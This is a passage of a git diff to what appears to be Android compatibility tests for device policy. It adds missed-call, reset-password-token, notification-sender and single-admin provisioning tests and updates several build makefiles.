+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.cts.managedprofile.MissedCallNotificationReceiver.IntentListener;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.InputStream;
@@ -43,6 +48,7 @@
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
public class PhoneAccountTest extends InstrumentationTestCase {
@@ -51,8 +57,6 @@
private static final String COMMAND_ENABLE = "telecom set-phone-account-enabled";
- private static final String PHONE_NUMBER = "886";
-
private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = Calls.NUMBER
+ " = ? AND " + Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
@@ -95,8 +99,9 @@
* properly.
*/
private void internalTestOutgoingCall(boolean usingTelecomManager) throws Exception {
+ final String phoneNumber = NORMAL_PHONE_NUMBER;
// Make sure no lingering values from previous runs.
- cleanupCall(false);
+ cleanupCall(phoneNumber, false /*verifyDeletion*/);
final Context context = getInstrumentation().getContext();
final HandlerThread handlerThread = new HandlerThread("Observer");
// Register the phone account.
@@ -112,32 +117,35 @@
// Place the call.
if (usingTelecomManager) {
- placeCallUsingTelecomManager(phoneAccountHandle);
+ placeCallUsingTelecomManager(phoneAccountHandle, phoneNumber);
} else {
- placeCallUsingActionCall(phoneAccountHandle);
+ placeCallUsingActionCall(phoneAccountHandle, phoneNumber);
}
// Make sure the call inserted is correct.
boolean calllogProviderChanged = countDownLatch.await(1, TimeUnit.MINUTES);
assertTrue(calllogProviderChanged);
- assertCalllogInserted(Calls.OUTGOING_TYPE);
+ assertCalllogInserted(Calls.OUTGOING_TYPE, phoneNumber);
} finally {
handlerThread.quit();
- cleanupCall(true /* verifyDeletion */ );
+ cleanupCall(phoneNumber, true /* verifyDeletion */ );
unregisterPhoneAccount();
}
}
- private void placeCallUsingTelecomManager(PhoneAccountHandle phoneAccountHandle) {
- Uri phoneUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, PHONE_NUMBER, null);
+ private void placeCallUsingTelecomManager(
+ PhoneAccountHandle phoneAccountHandle, String phoneNumber) {
+ Uri phoneUri = Uri.fromParts(
+ PhoneAccount.SCHEME_TEL, phoneNumber, null);
Bundle extras = new Bundle();
extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, phoneAccountHandle);
mTelecomManager.placeCall(phoneUri, extras);
}
- private void placeCallUsingActionCall(PhoneAccountHandle phoneAccountHandle) {
+ private void placeCallUsingActionCall(
+ PhoneAccountHandle phoneAccountHandle, String phoneNumber) {
Intent intent = new Intent(Intent.ACTION_CALL);
- intent.setData(Uri.parse("tel:" + PHONE_NUMBER));
+ intent.setData(Uri.parse("tel:" + phoneNumber));
intent.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, phoneAccountHandle);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
@@ -147,8 +155,34 @@
* Add an incoming call with our phone account and verify the call is inserted properly.
*/
public void testIncomingCall() throws Exception {
+ internalTestIncomingCall(false /* missedCall */);
+ }
+
+ /**
+ * Add an missed incoming call with our phone account and verify the call is inserted properly.
+ */
+ public void testIncomingMissedCall() throws Exception {
+ final LinkedBlockingQueue<Intent> queue = new LinkedBlockingQueue<>(1);
+ MissedCallNotificationReceiver.setIntentListener(new IntentListener() {
+ @Override
+ public void onIntentReceived(Intent intent) {
+ queue.offer(intent);
+ }
+ });
+ internalTestIncomingCall(true /* missedCall */);
+ Intent intent = queue.poll(10, TimeUnit.SECONDS);
+ assertNotNull(intent);
+ assertEquals(TelecomManager.ACTION_SHOW_MISSED_CALLS_NOTIFICATION, intent.getAction());
+ assertEquals(
+ MISSED_PHONE_NUMBER,
+ intent.getStringExtra(TelecomManager.EXTRA_NOTIFICATION_PHONE_NUMBER));
+ }
+
+ private void internalTestIncomingCall(boolean missedCall) throws Exception {
+ final String phoneNumber = missedCall ? MISSED_PHONE_NUMBER : NORMAL_PHONE_NUMBER;
+ final int callType = missedCall ? Calls.MISSED_TYPE : Calls.INCOMING_TYPE;
// Make sure no lingering values from previous runs.
- cleanupCall(false);
+ cleanupCall(phoneNumber, false /* verifyDeletion */ );
final Context context = getInstrumentation().getContext();
final HandlerThread handlerThread = new HandlerThread("Observer");
// Register the phone account.
@@ -159,22 +193,24 @@
final CountDownLatch countDownLatch = new CountDownLatch(1);
handlerThread.start();
context.getContentResolver().registerContentObserver(Calls.CONTENT_URI, false,
- new CalllogContentObserver(new Handler(handlerThread.getLooper()),
- countDownLatch));
+ new CalllogContentObserver(new Handler(handlerThread.getLooper()),
+ countDownLatch));
// Add a incoming call.
final Bundle bundle = new Bundle();
- final Uri phoneUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, PHONE_NUMBER, null);
+ final Uri phoneUri = Uri.fromParts(
+ PhoneAccount.SCHEME_TEL, phoneNumber, null);
bundle.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, phoneUri);
+
mTelecomManager.addNewIncomingCall(phoneAccountHandle, bundle);
// Make sure the call inserted is correct.
boolean calllogProviderChanged = countDownLatch.await(1, TimeUnit.MINUTES);
assertTrue(calllogProviderChanged);
- assertCalllogInserted(Calls.INCOMING_TYPE);
+ assertCalllogInserted(callType, phoneNumber);
} finally {
handlerThread.quit();
- cleanupCall(true /* verifyDeletion */ );
+ cleanupCall(phoneNumber, true /* verifyDeletion */ );
unregisterPhoneAccount();
}
}
@@ -183,8 +219,8 @@
Cursor cursor = null;
try {
cursor = mContext.getContentResolver()
- .query(Calls.CONTENT_URI, null, Calls.NUMBER + " = ?",
- new String[]{PHONE_NUMBER}, null);
+ .query(Calls.CONTENT_URI, null, Calls.NUMBER + " in (?,?)",
+ new String[]{NORMAL_PHONE_NUMBER, MISSED_PHONE_NUMBER}, null);
assertEquals(0, cursor.getCount());
} finally {
if (cursor != null) {
@@ -205,17 +241,21 @@
assertNull(mTelecomManager.getPhoneAccount(PHONE_ACCOUNT_HANDLE));
}
- private void assertCalllogInserted(int type) {
+ private void assertCalllogInserted(int type, String phoneNumber) {
Cursor cursor = null;
try {
final String connectionServiceComponentName = new ComponentName(mContext,
- DummyConnectionService.class).flattenToString();
+ DummyConnectionService.class).flattenToString();
cursor = mContext.getContentResolver()
- .query(Calls.CONTENT_URI, null,
- QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE + " AND " +
- Calls.TYPE + " = ?",
- new String[]{PHONE_NUMBER, connectionServiceComponentName,
- String.valueOf(type)}, null);
+ .query(Calls.CONTENT_URI, null,
+ QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE + " AND " +
+ Calls.TYPE + " = ?",
+ new String[]{
+ phoneNumber,
+ connectionServiceComponentName,
+ String.valueOf(type)
+ },
+ null);
assertEquals(1, cursor.getCount());
} finally {
if (cursor != null) {
@@ -224,12 +264,12 @@
}
}
- private void cleanupCall(boolean verifyDeletion) {
+ private void cleanupCall(String phoneNumber, boolean verifyDeletion) {
final String connectionServiceComponentName = new ComponentName(mContext,
DummyConnectionService.class).flattenToString();
int numRowDeleted = mContext.getContentResolver()
.delete(Calls.CONTENT_URI, QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE,
- new String[]{PHONE_NUMBER, connectionServiceComponentName});
+ new String[]{phoneNumber, connectionServiceComponentName});
if (verifyDeletion) {
assertEquals(1, numRowDeleted);
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
index 12e9698..e092888 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
@@ -42,7 +42,7 @@
if (mDpm.isAdminActive(cn)) {
mDpm.removeActiveAdmin(cn);
// Wait until device admin is not active (with 2 minutes timeout).
- for (int i = 0; i < 5 * 60 && mDpm.isAdminActive(cn); i++) {
+ for (int i = 0; i < 2 * 60 && mDpm.isAdminActive(cn); i++) {
Thread.sleep(1000); // 1 second.
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
index d911812..23de823 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
@@ -21,13 +21,11 @@
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
-import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.Manifest;
import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.admin.DeviceAdminReceiver;
@@ -135,7 +133,7 @@
am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE).length == 0);
}
- public Intent createBaseProvisioningIntent() {
+ private Intent createBaseProvisioningIntent() {
return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, ADMIN_RECEIVER_COMPONENT)
.putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
new file mode 100644
index 0000000..6487b50
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+public class ResetPasswordWithTokenTest extends BaseManagedProfileTest {
+
+ private static final String PASSWORD0 = "1234";
+ // This needs to be in sync with ManagedProfileTest.RESET_PASSWORD_TEST_DEFAULT_PASSWORD
+ private static final String PASSWORD1 = "123456";
+
+ private static final byte[] token = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
+
+ /**
+ * A dummy receiver marked as direct boot aware in manifest to make this test app
+ * runnable by instrumentation before FBE unlock.
+ */
+ public static class DummyReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ }
+ }
+
+ /**
+ * Set a reset password token and work challenge on the work profile, and then lock it
+ * with CE evicted. This is the preparation step for {@link #testResetPasswordBeforeUnlock}
+ * to put the profile in RUNNING_LOCKED state, and will be called by the hostside logic before
+ * {@link #testResetPasswordBeforeUnlock} is exercised.
+ */
+ public void testSetupWorkProfileAndLock() {
+ testSetResetPasswordToken();
+ // Reset password on the work profile will enable separate work challenge for it.
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD0,
+ token, 0));
+
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+
+ testLockWorkProfile();
+ }
+
+ public void testResetPasswordBeforeUnlock() {
+ UserManager um = mContext.getSystemService(UserManager.class);
+ assertFalse(um.isUserUnlocked());
+ assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD1,
+ token, 0));
+ try {
+ mDevicePolicyManager.isActivePasswordSufficient();
+ fail("Did not throw expected exception.");
+ } catch (IllegalStateException expected) {}
+ }
+
+ public void testSetResetPasswordToken() {
+ assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, token));
+ assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testLockWorkProfile() {
+ mDevicePolicyManager.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.mk b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
new file mode 100644
index 0000000..8c7633e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsNotificationSenderApp
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml b/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
new file mode 100644
index 0000000..0f5ac6d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.managedprofiletests.notificationsender">
+
+ <application>
+ <activity android:name=".SendNotification"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
+
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png b/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png
new file mode 100644
index 0000000..37b558b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png
Binary files differ
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java b/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java
new file mode 100644
index 0000000..80c4073
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofiletests.notificationsender;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+/**
+ * A simple activity to post notifications to test notification
+ * listener whitelists.
+ */
+public class SendNotification extends Activity {
+
+ private static final String TAG = "ListenerTest";
+
+ static final int NOTIFICATION_ID = 98765;
+ static final String NOTIFICATION_CHANNEL = "NotificationListenerTest";
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ Intent intent = getIntent();
+ if (intent != null && "POST_NOTIFICATION".equals(intent.getAction())) {
+ Log.i(TAG, "posting from " + android.os.Process.myUserHandle());
+ sendNotification();
+ } else if (intent != null && "CANCEL_NOTIFICATION".equals(intent.getAction())) {
+ Log.i(TAG, "cancelling from " + android.os.Process.myUserHandle());
+ cancelNotification();
+ }
+ finish();
+ }
+
+ private void sendNotification() {
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL, "Test channel", NotificationManager.IMPORTANCE_DEFAULT));
+ notificationManager.notify(NOTIFICATION_ID,
+ new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL)
+ .setSmallIcon(R.raw.ic_contact_picture)
+ .setContentTitle("Test title")
+ .build());
+ }
+
+ private void cancelNotification() {
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.cancel(NOTIFICATION_ID);
+ notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index 3c0a2a1..11680e9 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index 6f9ef5d..34b8e08 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ ub-uiautomator \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
index f755018..f0007db 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
@@ -25,13 +25,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSimpleApp
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 107261c..0e87000 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,8 +23,11 @@
import android.os.Parcel;
import android.os.Process;
import android.os.RemoteException;
+import android.util.Log;
public class SimpleService extends Service {
+ private final static String TAG = SimpleService.class.getSimpleName();
+
final Binder mBinder = new Binder() {
@Override
protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
@@ -40,6 +43,7 @@
@Override
public IBinder onBind(Intent intent) {
+ Log.i(TAG, "onBind called");
return mBinder;
}
}
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
index 0b7c625..deb5320 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := 21
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
new file mode 100644
index 0000000..426dbf2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDevicePolicySingleAdminTestApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ compatibility-device-util \
+ ub-uiautomator \
+ android-support-test \
+ legacy-android-test
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
new file mode 100644
index 0000000..6ae1eb4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.devicepolicy.singleadmin">
+
+ <application
+ android:testOnly="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ <receiver
+ android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.devicepolicy.singleadmin"
+ android:label="Managed Profile CTS Tests (Single admin receiver)"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
new file mode 100644
index 0000000..0f434d2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
@@ -0,0 +1,19 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+ <uses-policies>
+ <force-lock />
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
new file mode 100644
index 0000000..2828b3d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.devicepolicy.singleadmin;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+@SmallTest
+public class ProvisioningSingleAdminTest {
+
+ private static final String ADMIN_RECEIVER_PACKAGE = AdminReceiver.class.getPackage().getName();
+ private static final String ADMIN_RECEIVER_NAME = AdminReceiver.class.getName();
+
+ private static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+ ADMIN_RECEIVER_PACKAGE, ADMIN_RECEIVER_NAME);
+
+ private Context mContext;
+
+ public static class AdminReceiver extends DeviceAdminReceiver {
+ @Override
+ public void onProfileProvisioningComplete(Context context, Intent intent) {
+ super.onProfileProvisioningComplete(context, intent);
+ getManager(context).setProfileName(ADMIN_RECEIVER_COMPONENT, "Managed Profile");
+ getManager(context).setProfileEnabled(ADMIN_RECEIVER_COMPONENT);
+ }
+ }
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testManagedProfileProvisioning() throws InterruptedException {
